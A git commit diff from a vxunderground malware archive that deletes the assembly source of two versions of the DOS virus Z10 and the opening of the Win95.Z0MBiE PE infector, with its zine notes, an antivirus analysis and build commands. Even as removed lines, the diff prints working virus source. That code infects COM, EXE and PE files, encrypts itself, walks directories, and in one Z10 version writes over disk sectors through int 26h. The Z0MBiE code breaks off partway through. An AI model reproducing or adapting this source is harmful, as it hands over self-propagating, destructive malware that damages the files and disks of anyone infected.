mov fix
This commit is contained in:
vxunderground
parent
62ca392943
commit
2c18b9a798
Binary file not shown.
|
|
@ -1,375 +0,0 @@
|
|||
; Z10.asm : [Z10] by Paul Ferguson
|
||||
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||
; from the configuration file skeleton.cfg
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'ZA' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov si,offset startencrypt ; start of decryption
|
||||
mov di,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc si ; calculate new decryption location
|
||||
inc si
|
||||
dec di ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
mov ah,2ah ; Get current date
|
||||
int 21h
|
||||
cmp dh,10 ; Check month
|
||||
jb exit_virus
|
||||
cmp dl,30 ; Check date
|
||||
jb exit_virus
|
||||
cmp cx,1991 ; Check year
|
||||
jb exit_virus
|
||||
cmp al,0 ; Check date of week
|
||||
jb exit_virus
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h
|
||||
cmp dl,50 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate: ; Conditions satisfied
|
||||
mov al,0002h ; First argument is 2
|
||||
mov cx,0080h ; Second argument is 16
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; Remove the semi-colon
|
||||
sti ; Restore interrupts
|
||||
mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[PF]',0 ; Mass Produced Code Generator
|
||||
virusname db '[Z10]',0
|
||||
author db 'Paul Ferguson',0
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,13000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
|
|
@ -1,353 +0,0 @@
|
|||
; Z10.asm : [Z10] by Paul Ferguson
|
||||
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||
; from the configuration file skeleton.cfg
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'ZA' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: loop decrypt ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov si,offset startencrypt ; start of decryption
|
||||
mov di,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc si ; calculate new decryption location
|
||||
inc si
|
||||
dec di ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h
|
||||
cmp dl,90 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate: ; Conditions satisfied
|
||||
|
||||
jmp exit_virus
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,13000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
|
|
@ -1,974 +0,0 @@
|
|||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Win95.Z0MBiE ³
|
||||
; ³ v1.01, by Z0MBiE ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
|
||||
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
|
||||
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
|
||||
; looks in its export table for the address of the API functions used it the
|
||||
; viral code. This virus has also the feature which consists on looking for
|
||||
; files to infect in the Windows directory as well as in other units. PE in-
|
||||
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
|
||||
; cutables and creating an entry point in it for the virus code. Last but
|
||||
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
|
||||
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
|
||||
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
|
||||
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
|
||||
; cribed there, together with the analysis of Igor Daniloff, same as the one
|
||||
; which follows, describing the behavior of Win95.ZOMBiE.
|
||||
;
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
; Win95.Zombie
|
||||
;
|
||||
; Igor Daniloff
|
||||
; DialogueScience
|
||||
;
|
||||
; Win95.Zombie is a nondestructive nonresident encrypted virus which
|
||||
; infects PortableExecutable EXE files. On starting an infected file,
|
||||
; the virus decryptor explodes the main virus body and passes control
|
||||
; to it. The main virus body determines the location of KERNEL32 Export
|
||||
; Table in memory and saves in its code the address of WIN32 KERNEL API
|
||||
; functions that are essential for infecting files.
|
||||
;
|
||||
; Then the virus determines the command line of the currently-loaded
|
||||
; infected program and loads it once again through the WinExec function.
|
||||
; The second virus copy then infects the system. The first virus copy
|
||||
; (that started a second copy the infected program), after completing
|
||||
; the WinExec procedure, returns control to the host program.
|
||||
;
|
||||
; To infect PE EXE files, the virus scans the Windows system folder and
|
||||
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
|
||||
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
|
||||
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
|
||||
; in the PE header, sets an entry point to it, and appends a copy of the
|
||||
; encrypted code at the file end which is within the limits of the region
|
||||
; of this segment section. After infecting the logical drive, the virus
|
||||
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
|
||||
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
|
||||
; Zombie.1922 virus code. The virus contains a few text strings:
|
||||
;
|
||||
; Z0MBiE 1.01 (c) 1997
|
||||
; My 2nd virii for mustdie
|
||||
; Tnx to S.S.R.
|
||||
;
|
||||
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
|
||||
; Tnx to S.S.R.
|
||||
; ShadowRAM/Virtual Process Infector
|
||||
; ShadowRAM Technology (c) 1996,97 Z0MBiE
|
||||
;
|
||||
; code................1398
|
||||
; viriisize...........4584
|
||||
; virtsize............8936
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
;
|
||||
;
|
||||
; Compiling it
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; tasm32 -ml -m5 -q -zn zombie.asm
|
||||
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
|
||||
; pewrsec zombie.exe
|
||||
;
|
||||
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
|
||||
kernel equ 0BFF70000H
|
||||
|
||||
FILE_ID equ 'Z0'
|
||||
PORT_ID equ 'Z'
|
||||
|
||||
.data
|
||||
|
||||
sux db 'mustdie'
|
||||
|
||||
.code
|
||||
start:
|
||||
call codestart
|
||||
|
||||
lea ebp, [eax - 401000H]
|
||||
lea edx, codestart[ebp]
|
||||
cryptn equ (viriisize-decrsize+3) / 4
|
||||
mov ecx, cryptn
|
||||
@@1: neg dword ptr [edx]
|
||||
xor dword ptr [edx], 12345678h
|
||||
xorword equ dword ptr $-4
|
||||
sub edx, -4
|
||||
loop @@1
|
||||
jmp codestart
|
||||
|
||||
align 4
|
||||
decrsize equ $-start
|
||||
|
||||
codestart: lea ebp, [eax - 401000H]
|
||||
sub eax, 12345678h
|
||||
subme equ dword ptr $-4
|
||||
push eax
|
||||
|
||||
call analizekernel
|
||||
|
||||
call first
|
||||
|
||||
in al, 81h
|
||||
cmp al, PORT_ID
|
||||
je exit_to_program
|
||||
|
||||
in al, 80h
|
||||
cmp al, PORT_ID
|
||||
je infect
|
||||
|
||||
mov al, PORT_ID
|
||||
out 80h, al
|
||||
|
||||
call ExecExe
|
||||
|
||||
exit_to_program: ret
|
||||
|
||||
infect: mov al, -1
|
||||
out 80h, al
|
||||
|
||||
; call _GetModuleHandleA
|
||||
; push 9
|
||||
; push eax
|
||||
; call _SetPriorityClass
|
||||
|
||||
; infect windows directory
|
||||
|
||||
lea edx, infdir[ebp]
|
||||
call getwindir
|
||||
lea edx, infdir[ebp]
|
||||
call setdir
|
||||
call infectdir
|
||||
|
||||
; recursive infect
|
||||
|
||||
lea edx, drive_c[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
